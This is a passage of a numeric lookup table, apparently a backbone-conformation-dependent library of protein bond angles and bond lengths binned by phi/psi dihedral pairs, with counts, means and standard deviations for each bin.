(-120, 40) : ['B', 15, 123.25, 1.69, 111.43, 1.48, 111.3, 1.43, 111.46, 1.71, 121.34, 1.18, 116.62, 1.65, 121.95, 1.35, 1.3301, 0.0152, 1.4571, 0.0129, 1.5266, 0.0136, 1.5238, 0.014, 1.2329, 0.0149],
(-120, 70) : ['B', 4, 123.2, 1.38, 110.6, 1.8, 108.54, 1.41, 111.7, 1.48, 120.96, 1.98, 116.11, 1.3, 122.83, 1.35, 1.328, 0.0125, 1.4612, 0.0147, 1.5362, 0.0346, 1.527, 0.0132, 1.2344, 0.0161],
(-120, 80) : ['B', 7, 123.37, 1.64, 110.32, 2.44, 107.71, 1.9, 111.76, 1.47, 121.09, 1.79, 115.97, 1.24, 122.82, 1.3, 1.331, 0.0125, 1.463, 0.0136, 1.5394, 0.0488, 1.5259, 0.0151, 1.2329, 0.0135],
(-120, 90) : ['B', 16, 123.33, 1.64, 110.64, 2.02, 107.49, 2.16, 111.51, 1.66, 120.85, 1.67, 116.18, 1.41, 122.87, 1.48, 1.3305, 0.0129, 1.4619, 0.014, 1.5307, 0.0328, 1.5265, 0.0142, 1.2334, 0.0115],
(-120, 100) : ['B', 36, 123.13, 1.51, 110.69, 1.65, 107.69, 2.01, 111.23, 1.68, 120.57, 1.26, 116.41, 1.53, 122.96, 1.52, 1.3305, 0.0148, 1.4618, 0.0128, 1.5268, 0.0175, 1.5256, 0.0128, 1.2351, 0.0114],
(-120, 110) : ['B', 77, 123.07, 1.46, 110.65, 1.58, 108.02, 1.75, 110.74, 1.61, 120.4, 1.05, 116.44, 1.32, 123.12, 1.32, 1.3313, 0.0144, 1.4599, 0.012, 1.5285, 0.0151, 1.5231, 0.0121, 1.2359, 0.0114],
(-120, 120) : ['B', 147, 123.0, 1.41, 110.65, 1.56, 108.41, 1.63, 110.16, 1.66, 120.3, 1.07, 116.39, 1.17, 123.27, 1.16, 1.3309, 0.0132, 1.4579, 0.0119, 1.5305, 0.015, 1.5214, 0.0117, 1.2358, 0.0114],
(-120, 130) : ['B', 183, 122.99, 1.41, 110.68, 1.68, 108.9, 1.63, 109.71, 1.83, 120.36, 1.08, 116.29, 1.3, 123.3, 1.19, 1.3305, 0.0134, 1.4564, 0.0121, 1.5317, 0.0182, 1.5213, 0.0119, 1.2356, 0.012],
(-120, 140) : ['B', 210, 122.94, 1.5, 110.83, 1.74, 109.4, 1.63, 109.37, 1.91, 120.7, 1.08, 116.01, 1.49, 123.23, 1.3, 1.3302, 0.0144, 1.4553, 0.0123, 1.533, 0.0229, 1.5218, 0.0122, 1.2352, 0.0128],
(-120, 150) : ['B', 174, 122.81, 1.57, 111.08, 1.71, 109.72, 1.6, 109.33, 1.97, 121.11, 1.13, 115.63, 1.51, 123.19, 1.3, 1.3302, 0.0145, 1.4541, 0.0123, 1.5344, 0.0233, 1.5225, 0.012, 1.2348, 0.013],
(-120, 160) : ['B', 109, 122.81, 1.68, 111.2, 1.62, 109.85, 1.58, 109.66, 1.94, 121.46, 1.17, 115.36, 1.56, 123.11, 1.34, 1.3299, 0.0141, 1.4535, 0.0123, 1.5349, 0.0193, 1.5231, 0.0121, 1.2342, 0.0128],
(-120, 170) : ['B', 47, 123.03, 1.79, 111.05, 1.5, 109.81, 1.53, 110.24, 1.88, 121.68, 1.18, 115.32, 1.61, 122.94, 1.43, 1.3289, 0.0137, 1.4543, 0.0131, 1.5345, 0.016, 1.5236, 0.0124, 1.2338, 0.0131],
(-110, -180) : ['B', 21, 123.27, 1.85, 110.6, 1.52, 109.95, 1.44, 111.48, 1.91, 121.73, 1.35, 115.46, 1.34, 122.76, 1.44, 1.3282, 0.0162, 1.4546, 0.0136, 1.5304, 0.0152, 1.526, 0.0137, 1.2344, 0.0141],
(-110, -170) : ['B', 9, 123.2, 2.05, 110.14, 1.72, 109.96, 1.58, 112.43, 1.91, 121.46, 1.33, 115.9, 1.21, 122.59, 1.35, 1.329, 0.0176, 1.4529, 0.0139, 1.5305, 0.0168, 1.5278, 0.0151, 1.2367, 0.015],
(-110, -160) : ['B', 3, 123.16, 2.32, 109.1, 1.77, 109.8, 1.7, 113.37, 1.61, 120.77, 1.06, 116.34, 1.04, 122.84, 1.1, 1.3316, 0.0141, 1.4512, 0.0162, 1.5315, 0.0169, 1.5311, 0.0139, 1.2398, 0.0146],
(-110, -150) : ['B', 3, 123.99, 2.08, 108.96, 1.23, 109.29, 1.41, 114.4, 1.25, 119.91, 0.96, 116.93, 0.9, 123.13, 1.07, 1.3316, 0.0102, 1.451, 0.0164, 1.5263, 0.0128, 1.5318, 0.0115, 1.2441, 0.0117],
(-110, -130) : ['B', 3, 123.13, 1.07, 109.95, 0.43, 108.75, 0.96, 116.53, 1.47, 118.33, 0.63, 119.95, 1.19, 121.65, 0.83, 1.3245, 0.0097, 1.4603, 0.0082, 1.5228, 0.0155, 1.5306, 0.0054, 1.2321, 0.0039],
(-110, -100) : ['B', 5, 121.98, 1.35, 111.04, 1.68, 108.12, 1.59, 115.28, 2.01, 119.55, 0.61, 119.56, 0.58, 120.71, 0.9, 1.3387, 0.0137, 1.453, 0.0126, 1.5341, 0.0124, 1.5186, 0.0053, 1.2452, 0.0159],
(-110, -90) : ['B', 3, 121.64, 1.2, 111.15, 1.95, 108.48, 1.65, 114.52, 1.81, 119.68, 0.71, 119.46, 0.61, 120.58, 1.13, 1.3365, 0.0125, 1.4526, 0.0136, 1.5351, 0.0119, 1.5172, 0.0063, 1.2469, 0.0161],
(-110, -70) : ['B', 3, 122.44, 1.19, 111.0, 1.99, 111.02, 1.52, 111.65, 1.44, 119.98, 1.21, 118.24, 1.18, 121.76, 1.15, 1.3327, 0.0116, 1.4591, 0.0106, 1.5305, 0.0145, 1.5244, 0.007, 1.2332, 0.0132],
(-110, -60) : ['B', 12, 122.56, 1.5, 110.48, 1.98, 112.13, 1.37, 110.83, 1.58, 120.16, 1.49, 117.88, 1.4, 121.92, 1.3, 1.3327, 0.0131, 1.4569, 0.0124, 1.535, 0.0169, 1.5232, 0.0084, 1.2343, 0.013],
(-110, -50) : ['B', 16, 122.79, 1.7, 110.34, 1.74, 112.93, 1.33, 110.08, 1.57, 120.07, 1.35, 117.82, 1.46, 122.03, 1.36, 1.3317, 0.0129, 1.4569, 0.0125, 1.5356, 0.0165, 1.5206, 0.0099, 1.2349, 0.0143],
(-110, -40) : ['B', 17, 122.79, 1.78, 110.4, 1.45, 113.55, 1.26, 109.34, 1.55, 119.67, 1.15, 118.09, 1.63, 122.13, 1.5, 1.3306, 0.0138, 1.4579, 0.013, 1.5328, 0.016, 1.5191, 0.0122, 1.2329, 0.0153],
(-110, -30) : ['B', 34, 122.36, 1.72, 110.59, 1.33, 113.88, 1.23, 109.03, 1.62, 119.24, 1.13, 118.29, 1.47, 122.36, 1.34, 1.3325, 0.0138, 1.4563, 0.0128, 1.5338, 0.0145, 1.5193, 0.0132, 1.2325, 0.0138],
(-110, -20) : ['B', 43, 122.11, 1.64, 110.67, 1.39, 113.97, 1.28, 109.07, 1.68, 118.97, 1.07, 118.47, 1.26, 122.48, 1.21, 1.3348, 0.0142, 1.4549, 0.0129, 1.5358, 0.0142, 1.5206, 0.0127, 1.2348, 0.0125],
(-110, -10) : ['B', 55, 122.26, 1.59, 110.65, 1.47, 113.72, 1.3, 109.55, 1.68, 119.05, 1.1, 118.55, 1.24, 122.35, 1.23, 1.3334, 0.0149, 1.4546, 0.0137, 1.5359, 0.0153, 1.5213, 0.0129, 1.236, 0.0132],
(-110, 0) : ['B', 80, 122.49, 1.55, 110.61, 1.51, 113.3, 1.34, 110.17, 1.69, 119.32, 1.19, 118.4, 1.28, 122.24, 1.21, 1.332, 0.0139, 1.4553, 0.0133, 1.533, 0.016, 1.5215, 0.0131, 1.2357, 0.0139],
(-110, 10) : ['B', 101, 122.6, 1.56, 110.73, 1.55, 112.88, 1.29, 110.72, 1.69, 119.59, 1.18, 118.11, 1.27, 122.25, 1.19, 1.3324, 0.0129, 1.4565, 0.0122, 1.53, 0.0154, 1.523, 0.0134, 1.2356, 0.0138],
(-110, 20) : ['B', 71, 122.67, 1.59, 110.92, 1.6, 112.59, 1.22, 111.02, 1.61, 119.95, 1.18, 117.71, 1.28, 122.26, 1.23, 1.3336, 0.013, 1.457, 0.0116, 1.5288, 0.014, 1.5247, 0.0135, 1.2351, 0.0132],
(-110, 30) : ['B', 30, 122.86, 1.53, 111.17, 1.64, 112.26, 1.32, 111.13, 1.61, 120.55, 1.21, 117.15, 1.44, 122.2, 1.28, 1.333, 0.0142, 1.4572, 0.0116, 1.5275, 0.0135, 1.526, 0.0128, 1.2333, 0.013],
(-110, 40) : ['B', 10, 123.17, 1.49, 111.25, 1.46, 111.81, 1.54, 111.23, 1.7, 121.17, 1.24, 116.73, 1.64, 121.97, 1.35, 1.3308, 0.0142, 1.4586, 0.0119, 1.526, 0.0136, 1.5259, 0.0123, 1.2324, 0.0136],
(-110, 70) : ['B', 4, 122.79, 1.34, 110.11, 1.57, 109.11, 1.42, 111.72, 1.53, 121.86, 1.39, 115.41, 1.34, 122.65, 1.24, 1.329, 0.0114, 1.459, 0.0161, 1.5346, 0.0303, 1.5261, 0.0097, 1.233, 0.0158],
(-110, 80) : ['B', 5, 123.12, 1.52, 110.29, 2.15, 107.73, 1.8, 111.73, 1.55, 121.58, 1.24, 115.68, 1.24, 122.64, 1.06, 1.3304, 0.0117, 1.4611, 0.0141, 1.536, 0.041, 1.5268, 0.0119, 1.2316, 0.0135],
(-110, 90) : ['B', 14, 123.23, 1.57, 110.56, 1.86, 107.41, 2.02, 111.41, 1.7, 121.11, 1.23, 115.96, 1.31, 122.84, 1.2, 1.3293, 0.0151, 1.4617, 0.0146, 1.5283, 0.0261, 1.5275, 0.0132, 1.2321, 0.012],
(-110, 100) : ['B', 46, 123.14, 1.48, 110.46, 1.69, 107.62, 1.97, 111.22, 1.72, 120.7, 1.14, 116.23, 1.37, 123.01, 1.3, 1.3299, 0.0176, 1.4612, 0.0138, 1.5263, 0.0153, 1.5256, 0.013, 1.2344, 0.0116],
(-110, 110) : ['B', 79, 123.11, 1.42, 110.47, 1.66, 107.99, 1.77, 110.79, 1.63, 120.46, 1.07, 116.37, 1.28, 123.13, 1.26, 1.3307, 0.0166, 1.4594, 0.0127, 1.5275, 0.0139, 1.524, 0.0127, 1.2358, 0.0117],
(-110, 120) : ['B', 150, 123.05, 1.4, 110.55, 1.57, 108.52, 1.63, 110.19, 1.64, 120.32, 1.1, 116.37, 1.19, 123.27, 1.18, 1.3299, 0.014, 1.4576, 0.0122, 1.529, 0.0138, 1.5227, 0.0123, 1.2359, 0.0119],
(-110, 130) : ['B', 230, 123.0, 1.38, 110.57, 1.57, 109.07, 1.61, 109.72, 1.73, 120.38, 1.09, 116.28, 1.26, 123.29, 1.18, 1.3296, 0.0132, 1.4564, 0.0121, 1.5306, 0.0152, 1.5221, 0.012, 1.2357, 0.0121],
(-110, 140) : ['B', 194, 122.93, 1.45, 110.69, 1.61, 109.59, 1.61, 109.38, 1.8, 120.71, 1.06, 116.02, 1.42, 123.21, 1.27, 1.3296, 0.0136, 1.4552, 0.0121, 1.5315, 0.0174, 1.5225, 0.0119, 1.2352, 0.0123],
(-110, 150) : ['B', 130, 122.87, 1.61, 110.85, 1.6, 109.95, 1.59, 109.37, 1.83, 121.16, 1.13, 115.6, 1.48, 123.16, 1.26, 1.3293, 0.0138, 1.454, 0.0119, 1.5321, 0.0174, 1.5232, 0.0118, 1.2344, 0.0122],
(-110, 160) : ['B', 85, 122.92, 1.76, 110.85, 1.54, 110.14, 1.55, 109.71, 1.8, 121.56, 1.21, 115.27, 1.47, 123.1, 1.29, 1.3289, 0.0136, 1.4538, 0.0118, 1.533, 0.016, 1.5233, 0.0119, 1.2341, 0.0128],
(-110, 170) : ['B', 39, 123.05, 1.79, 110.7, 1.49, 110.14, 1.47, 110.36, 1.78, 121.78, 1.28, 115.19, 1.48, 122.97, 1.39, 1.3283, 0.0137, 1.4546, 0.0125, 1.5334, 0.0151, 1.5237, 0.0123, 1.2339, 0.0134],
(-100, -180) : ['B', 20, 122.64, 1.77, 110.51, 1.61, 110.17, 1.51, 111.6, 2.0, 121.88, 1.3, 115.63, 1.36, 122.43, 1.26, 1.3296, 0.0153, 1.4525, 0.0122, 1.5301, 0.0149, 1.5272, 0.0142, 1.2334, 0.0131],
(-100, -170) : ['B', 6, 122.73, 1.92, 110.07, 1.81, 109.94, 1.57, 112.63, 2.16, 121.55, 1.26, 116.25, 1.3, 122.14, 1.28, 1.3286, 0.0171, 1.4517, 0.013, 1.53, 0.0161, 1.5279, 0.0145, 1.235, 0.0138],
(-100, -160) : ['B', 3, 122.82, 2.12, 109.18, 1.79, 109.63, 1.49, 113.45, 1.98, 120.89, 1.11, 116.82, 1.1, 122.2, 1.1, 1.3276, 0.0161, 1.4519, 0.0141, 1.5335, 0.017, 1.5314, 0.0132, 1.2365, 0.0135],
(-100, -130) : ['B', 3, 123.04, 1.08, 109.69, 0.32, 108.78, 0.82, 117.07, 1.44, 117.94, 0.58, 120.47, 1.03, 121.47, 0.75, 1.3258, 0.0083, 1.4566, 0.0064, 1.5285, 0.0155, 1.5331, 0.0056, 1.2326, 0.0038],
(-100, -60) : ['B', 4, 122.42, 1.55, 110.27, 1.79, 111.96, 1.41, 110.88, 1.77, 120.42, 1.48, 117.34, 1.22, 122.19, 1.18, 1.3333, 0.0125, 1.4593, 0.0128, 1.5347, 0.0158, 1.5252, 0.0102, 1.2345, 0.0117],
(-100, -50) : ['B', 17, 122.6, 1.88, 110.33, 1.68, 112.68, 1.33, 110.24, 1.67, 120.13, 1.4, 117.6, 1.39, 122.19, 1.31, 1.3324, 0.0129, 1.4578, 0.0127, 1.5334, 0.0158, 1.5236, 0.0116, 1.2344, 0.0135],
(-100, -40) : ['B', 29, 122.53, 1.92, 110.42, 1.53, 113.12, 1.25, 109.56, 1.65, 119.78, 1.21, 117.93, 1.55, 122.2, 1.46, 1.3319, 0.0135, 1.4576, 0.0128, 1.5318, 0.0157, 1.5218, 0.0131, 1.2347, 0.014],
(-100, -30) : ['B', 48, 122.09, 1.79, 110.47, 1.46, 113.41, 1.22, 109.24, 1.75, 119.41, 1.13, 118.14, 1.56, 122.36, 1.42, 1.3321, 0.0136, 1.4569, 0.0127, 1.5325, 0.0153, 1.5207, 0.0136, 1.2353, 0.0131],
(-100, -20) : ['B', 52, 121.92, 1.73, 110.53, 1.47, 113.5, 1.23, 109.29, 1.82, 119.14, 1.1, 118.31, 1.4, 122.49, 1.34, 1.3334, 0.0143, 1.456, 0.0132, 1.5335, 0.0158, 1.5217, 0.0132, 1.2359, 0.0128],
(-100, -10) : ['B', 88, 122.26, 1.73, 110.53, 1.49, 113.38, 1.23, 109.65, 1.74, 119.15, 1.14, 118.38, 1.3, 122.42, 1.31, 1.3327, 0.0147, 1.4556, 0.0135, 1.5337, 0.0171, 1.5224, 0.0134, 1.2356, 0.0134],
(-100, 0) : ['B', 151, 122.54, 1.65, 110.49, 1.48, 113.17, 1.26, 110.09, 1.67, 119.35, 1.17, 118.27, 1.31, 122.34, 1.25, 1.3313, 0.0143, 1.4556, 0.0132, 1.5319, 0.0174, 1.5221, 0.014, 1.2349, 0.0138],
(-100, 10) : ['B', 145, 122.65, 1.6, 110.56, 1.46, 112.92, 1.23, 110.56, 1.69, 119.56, 1.17, 118.06, 1.26, 122.34, 1.2, 1.3317, 0.0134, 1.4555, 0.0126, 1.5297, 0.0164, 1.5229, 0.0148, 1.2351, 0.0134],
(-100, 20) : ['B', 71, 122.73, 1.61, 110.7, 1.49, 112.72, 1.14, 110.94, 1.65, 119.78, 1.19, 117.79, 1.22, 122.35, 1.23, 1.3331, 0.0127, 1.4558, 0.0118, 1.529, 0.0146, 1.5244, 0.0148, 1.2357, 0.0128],
(-100, 30) : ['B', 17, 122.83, 1.54, 110.91, 1.58, 112.57, 1.13, 111.06, 1.55, 120.15, 1.29, 117.51, 1.32, 122.19, 1.29, 1.3337, 0.0124, 1.4573, 0.011, 1.5282, 0.0137, 1.5249, 0.0138, 1.2358, 0.0134],
(-100, 40) : ['B', 6, 122.95, 1.66, 110.79, 1.48, 112.25, 1.36, 111.14, 1.39, 120.65, 1.64, 117.42, 1.89, 121.63, 1.52, 1.3315, 0.0114, 1.4615, 0.0115, 1.5252, 0.0143, 1.5225, 0.0143, 1.2343, 0.0155],
(-100, 50) : ['B', 6, 122.62, 1.78, 110.42, 1.37, 111.55, 1.37, 111.4, 1.29, 121.38, 1.76, 116.55, 2.23, 121.89, 1.55, 1.3277, 0.0113, 1.4638, 0.012, 1.5236, 0.0151, 1.5235, 0.0138, 1.2307, 0.0171],
(-100, 60) : ['B', 8, 122.24, 1.46, 110.35, 1.15, 110.65, 1.26, 111.74, 1.37, 122.2, 1.57, 115.05, 1.74, 122.67, 1.52, 1.3289, 0.0133, 1.4628, 0.0127, 1.526, 0.0149, 1.528, 0.0111, 1.2314, 0.0187],
(-100, 70) : ['B', 5, 122.06, 1.39, 110.35, 1.12, 109.71, 1.41, 112.07, 1.48, 122.51, 1.34, 114.59, 1.48, 122.83, 1.31, 1.331, 0.0133, 1.4617, 0.0144, 1.526, 0.0151, 1.5283, 0.0104, 1.2318, 0.0161],
(-100, 80) : ['B', 5, 122.41, 1.41, 110.49, 1.47, 108.24, 1.81, 112.05, 1.52, 122.13, 1.13, 115.25, 1.34, 122.55, 1.13, 1.3333, 0.0133, 1.4621, 0.0138, 1.5261, 0.0176, 1.5265, 0.0111, 1.2311, 0.0141],
(-100, 90) : ['B', 18, 122.77, 1.48, 110.53, 1.66, 107.57, 1.94, 111.68, 1.67, 121.39, 1.12, 115.9, 1.36, 122.63, 1.22, 1.3313, 0.0151, 1.4628, 0.0137, 1.5247, 0.0147, 1.5256, 0.0122, 1.2315, 0.0132],
(-100, 100) : ['B', 47, 122.85, 1.39, 110.39, 1.65, 107.75, 1.86, 111.31, 1.68, 120.84, 1.08, 116.21, 1.36, 122.87, 1.23, 1.3308, 0.0166, 1.4616, 0.0135, 1.5253, 0.0129, 1.5251, 0.0129, 1.2336, 0.0119],
(-100, 110) : ['B', 95, 122.84, 1.3, 110.37, 1.65, 108.2, 1.71, 110.78, 1.6, 120.54, 1.04, 116.36, 1.28, 123.05, 1.19, 1.331, 0.0165, 1.459, 0.0127, 1.5273, 0.013, 1.5248, 0.0128, 1.2354, 0.0119],
(-100, 120) : ['B', 150, 122.77, 1.33, 110.42, 1.63, 108.73, 1.63, 110.19, 1.62, 120.36, 1.07, 116.37, 1.23, 123.22, 1.14, 1.33, 0.0146, 1.4572, 0.0123, 1.5287, 0.0134, 1.5238, 0.0123, 1.2359, 0.0122],
(-100, 130) : ['B', 185, 122.72, 1.38, 110.43, 1.63, 109.24, 1.63, 109.75, 1.65, 120.43, 1.09, 116.25, 1.23, 123.27, 1.13, 1.3296, 0.0139, 1.4565, 0.0123, 1.5297, 0.0143, 1.5228, 0.0123, 1.2356, 0.0121],
(-100, 140) : ['B', 146, 122.65, 1.49, 110.52, 1.65, 109.76, 1.64, 109.48, 1.68, 120.8, 1.11, 115.96, 1.29, 123.19, 1.17, 1.3293, 0.0143, 1.4554, 0.0122, 1.5302, 0.0155, 1.5228, 0.0124, 1.2346, 0.0118],
(-100, 150) : ['B', 112, 122.64, 1.7, 110.63, 1.63, 110.17, 1.61, 109.5, 1.69, 121.28, 1.18, 115.55, 1.33, 123.1, 1.15, 1.3288, 0.0144, 1.4543, 0.0117, 1.5304, 0.0158, 1.5237, 0.0125, 1.2337, 0.0117],
(-100, 160) : ['B', 67, 122.74, 1.82, 110.56, 1.56, 110.42, 1.55, 109.8, 1.65, 121.66, 1.22, 115.23, 1.3, 123.03, 1.13, 1.3281, 0.0142, 1.4543, 0.0115, 1.5313, 0.0158, 1.5245, 0.0131, 1.2335, 0.0125],
(-100, 170) : ['B', 38, 122.67, 1.73, 110.46, 1.55, 110.46, 1.48, 110.45, 1.73, 121.89, 1.27, 115.21, 1.33, 122.84, 1.16, 1.3282, 0.014, 1.4543, 0.0116, 1.5319, 0.0159, 1.5255, 0.0136, 1.2331, 0.013],
(-90, -180) : ['B', 28, 122.02, 1.89, 110.49, 1.53, 110.36, 1.55, 111.78, 2.2, 121.82, 1.21, 115.9, 1.56, 122.2, 1.24, 1.3304, 0.0147, 1.4525, 0.0125, 1.5279, 0.0148, 1.5278, 0.0135, 1.2334, 0.0128],
(-90, -170) : ['B', 13, 122.12, 1.76, 110.39, 1.59, 109.86, 1.55, 113.15, 2.38, 121.5, 1.25, 116.58, 1.55, 121.83, 1.28, 1.3296, 0.016, 1.4539, 0.0117, 1.5272, 0.0149, 1.5285, 0.0128, 1.2339, 0.0116],
(-90, -160) : ['B', 4, 122.15, 1.74, 109.94, 1.44, 109.31, 1.42, 114.16, 2.31, 120.84, 1.33, 117.21, 1.42, 121.78, 1.31, 1.3289, 0.0167, 1.4554, 0.0109, 1.5319, 0.0154, 1.5305, 0.0112, 1.2339, 0.01],
(-90, -70) : ['B', 3, 121.71, 1.39, 110.39, 1.54, 110.56, 1.94, 112.0, 1.79, 120.71, 1.1, 116.84, 1.12, 122.38, 1.08, 1.3324, 0.0154, 1.4682, 0.0124, 1.53, 0.0124, 1.5261, 0.0092, 1.2343, 0.0083],
(-90, -60) : ['B', 6, 121.81, 1.83, 110.14, 1.56, 111.56, 1.53, 111.03, 1.87, 120.56, 1.21, 117.07, 1.21, 122.32, 1.15, 1.3327, 0.0126, 1.4597, 0.0122, 1.533, 0.0146, 1.5268, 0.0121, 1.235, 0.011],
(-90, -50) : ['B', 18, 121.8, 2.16, 110.19, 1.55, 112.04, 1.44, 110.56, 1.83, 120.31, 1.25, 117.32, 1.42, 122.3, 1.35, 1.3325, 0.0137, 1.4576, 0.0127, 1.5317, 0.0162, 1.5252, 0.0129, 1.2349, 0.0123],
(-90, -40) : ['B', 39, 121.64, 2.13, 110.26, 1.49, 112.45, 1.39, 110.11, 1.89, 120.0, 1.22, 117.65, 1.55, 122.28, 1.47, 1.3327, 0.0145, 1.4575, 0.0128, 1.5308, 0.0159, 1.5235, 0.0137, 1.2358, 0.0128],
(-90, -30) : ['B', 79, 121.52, 1.84, 110.33, 1.5, 112.9, 1.31, 109.67, 2.01, 119.6, 1.17, 117.96, 1.51, 122.36, 1.42, 1.3326, 0.015, 1.457, 0.0129, 1.5311, 0.0156, 1.5215, 0.014, 1.2366, 0.0131],
(-90, -20) : ['B', 98, 121.66, 1.76, 110.44, 1.56, 113.23, 1.24, 109.55, 2.03, 119.27, 1.17, 118.21, 1.36, 122.46, 1.37, 1.3328, 0.0155, 1.4561, 0.0133, 1.5318, 0.0165, 1.5216, 0.0137, 1.2364, 0.0132],
(-90, -10) : ['B', 182, 122.06, 1.86, 110.46, 1.57, 113.28, 1.22, 109.72, 1.92, 119.18, 1.19, 118.36, 1.33, 122.41, 1.42, 1.3319, 0.0153, 1.4558, 0.0133, 1.5323, 0.0179, 1.5224, 0.0137, 1.2358, 0.0132],
(-90, 0) : ['B', 218, 122.38, 1.81, 110.44, 1.53, 113.16, 1.24, 110.01, 1.8, 119.28, 1.21, 118.32, 1.35, 122.37, 1.38, 1.3306, 0.0148, 1.456, 0.0132, 1.5319, 0.0178, 1.5226, 0.0141, 1.2354, 0.0133],
(-90, 10) : ['B', 106, 122.56, 1.72, 110.47, 1.45, 113.02, 1.2, 110.37, 1.78, 119.43, 1.21, 118.13, 1.28, 122.39, 1.29, 1.3309, 0.0143, 1.4556, 0.0132, 1.5306, 0.0169, 1.5233, 0.0156, 1.2353, 0.0133],
(-90, 20) : ['B', 30, 122.65, 1.66, 110.56, 1.38, 112.93, 1.12, 110.81, 1.73, 119.59, 1.23, 117.96, 1.23, 122.37, 1.28, 1.3328, 0.0136, 1.4553, 0.0125, 1.53, 0.0151, 1.5244, 0.0166, 1.2365, 0.0133],
(-90, 30) : ['B', 7, 122.66, 1.63, 110.65, 1.42, 112.97, 1.06, 111.17, 1.53, 119.8, 1.34, 117.92, 1.35, 122.06, 1.34, 1.3349, 0.0139, 1.4577, 0.0112, 1.529, 0.0134, 1.5236, 0.0159, 1.2386, 0.0147],
(-90, 40) : ['B', 8, 122.61, 1.94, 110.22, 1.63, 112.72, 1.36, 111.22, 1.23, 120.42, 1.8, 117.65, 1.98, 121.53, 1.6, 1.3313, 0.0132, 1.4624, 0.0131, 1.5248, 0.0136, 1.5209, 0.0165, 1.2346, 0.0159],
(-90, 50) : ['B', 11, 122.27, 1.85, 110.25, 1.5, 111.81, 1.44, 111.5, 1.29, 121.53, 1.74, 116.2, 2.01, 122.08, 1.46, 1.3296, 0.012, 1.4627, 0.0131, 1.5237, 0.0131, 1.5258, 0.0136, 1.2302, 0.0156],
(-90, 60) : ['B', 26, 122.08, 1.5, 110.45, 1.26, 110.68, 1.39, 111.88, 1.41, 122.38, 1.49, 114.87, 1.55, 122.68, 1.38, 1.3316, 0.0131, 1.4629, 0.0124, 1.5243, 0.013, 1.5301, 0.0114, 1.2307, 0.0162],
(-90, 70) : ['B', 36, 122.05, 1.48, 110.53, 1.22, 109.62, 1.5, 112.12, 1.5, 122.63, 1.29, 114.6, 1.3, 122.71, 1.25, 1.3327, 0.0128, 1.4635, 0.013, 1.5233, 0.0127, 1.5295, 0.0111, 1.2324, 0.0136],
(-90, 80) : ['B', 23, 122.16, 1.5, 110.57, 1.35, 108.56, 1.74, 112.03, 1.56, 122.37, 1.15, 115.1, 1.26, 122.46, 1.19, 1.334, 0.0129, 1.4631, 0.0131, 1.5236, 0.0133, 1.5262, 0.012, 1.2329, 0.0127],
(-90, 90) : ['B', 32, 122.34, 1.6, 110.49, 1.48, 107.98, 1.88, 111.68, 1.68, 121.58, 1.12, 115.89, 1.4, 122.43, 1.3, 1.3322, 0.014, 1.4628, 0.0128, 1.5236, 0.013, 1.5232, 0.0125, 1.2318, 0.0137],
(-90, 100) : ['B', 58, 122.41, 1.47, 110.35, 1.49, 107.99, 1.76, 111.3, 1.7, 120.92, 1.04, 116.32, 1.37, 122.68, 1.27, 1.3311, 0.014, 1.4619, 0.0126, 1.5246, 0.0125, 1.5238, 0.0127, 1.2334, 0.0126],
(-90, 110) : ['B', 92, 122.42, 1.33, 110.21, 1.59, 108.41, 1.61, 110.81, 1.65, 120.58, 1.07, 116.43, 1.27, 122.93, 1.2, 1.3308, 0.0143, 1.4593, 0.0123, 1.5266, 0.0127, 1.5247, 0.0125, 1.2354, 0.0123],
(-90, 120) : ['B', 117, 122.3, 1.35, 110.17, 1.68, 108.96, 1.59, 110.22, 1.67, 120.43, 1.12, 116.39, 1.26, 123.13, 1.15, 1.3302, 0.0141, 1.4573, 0.0123, 1.5282, 0.0135, 1.5242, 0.0122, 1.236, 0.0124],
(-90, 130) : ['B', 161, 122.19, 1.41, 110.16, 1.65, 109.46, 1.66, 109.8, 1.64, 120.54, 1.13, 116.2, 1.25, 123.22, 1.14, 1.3303, 0.0142, 1.4563, 0.0129, 1.5293, 0.0143, 1.5233, 0.0124, 1.2353, 0.0122],
(-90, 140) : ['B', 135, 122.09, 1.48, 110.23, 1.62, 109.96, 1.68, 109.53, 1.65, 120.92, 1.15, 115.86, 1.24, 123.16, 1.16, 1.33, 0.0145, 1.4554, 0.0133, 1.5297, 0.0148, 1.5228, 0.0128, 1.2344, 0.0122],
(-90, 150) : ['B', 98, 122.07, 1.71, 110.41, 1.63, 110.32, 1.59, 109.51, 1.71, 121.36, 1.2, 115.51, 1.24, 123.06, 1.12, 1.329, 0.0143, 1.4543, 0.0127, 1.5297, 0.0155, 1.5236, 0.0133, 1.234, 0.0123],
(-90, 160) : ['B', 79, 122.07, 2.01, 110.46, 1.6, 110.52, 1.48, 109.83, 1.75, 121.72, 1.18, 115.27, 1.24, 122.94, 1.12, 1.3283, 0.0144, 1.4538, 0.0121, 1.5294, 0.0164, 1.5256, 0.0142, 1.2333, 0.0128],
(-90, 170) : ['B', 63, 122.03, 2.01, 110.42, 1.52, 110.59, 1.45, 110.51, 1.89, 121.89, 1.17, 115.36, 1.37, 122.68, 1.17, 1.3287, 0.0144, 1.4533, 0.0122, 1.5289, 0.0165, 1.5271, 0.0141, 1.2329, 0.0132],
(-80, -180) : ['B', 26, 121.66, 1.92, 110.38, 1.38, 110.35, 1.38, 111.71, 2.23, 121.88, 1.13, 115.82, 1.6, 122.23, 1.33, 1.3304, 0.0137, 1.4534, 0.0127, 1.5269, 0.0144, 1.5277, 0.0133, 1.2343, 0.0131],
(-80, -170) : ['B', 16, 121.86, 1.65, 110.45, 1.44, 109.79, 1.56, 113.33, 2.26, 121.67, 1.26, 116.5, 1.63, 121.74, 1.31, 1.3298, 0.0142, 1.4562, 0.0114, 1.5262, 0.0144, 1.5282, 0.0134, 1.2341, 0.0107],
(-80, -70) : ['B', 3, 120.89, 1.5, 110.1, 1.42, 111.04, 1.55, 111.39, 1.59, 120.89, 1.05, 116.93, 1.26, 122.11, 1.18, 1.3333, 0.0124, 1.463, 0.0108, 1.5323, 0.0128, 1.5263, 0.0107, 1.2348, 0.0103],
(-80, -60) : ['B', 13, 120.88, 1.62, 110.07, 1.47, 111.24, 1.29, 110.86, 1.65, 120.8, 1.05, 117.04, 1.24, 122.11, 1.16, 1.3336, 0.013, 1.4592, 0.012, 1.5312, 0.0157, 1.525, 0.0125, 1.2357, 0.0117],
(-80, -50) : ['B', 41, 120.71, 1.67, 110.13, 1.48, 111.4, 1.22, 110.79, 1.68, 120.55, 1.07, 117.23, 1.31, 122.17, 1.21, 1.334, 0.0141, 1.4587, 0.0124, 1.5297, 0.0163, 1.5242, 0.0129, 1.2359, 0.0119],
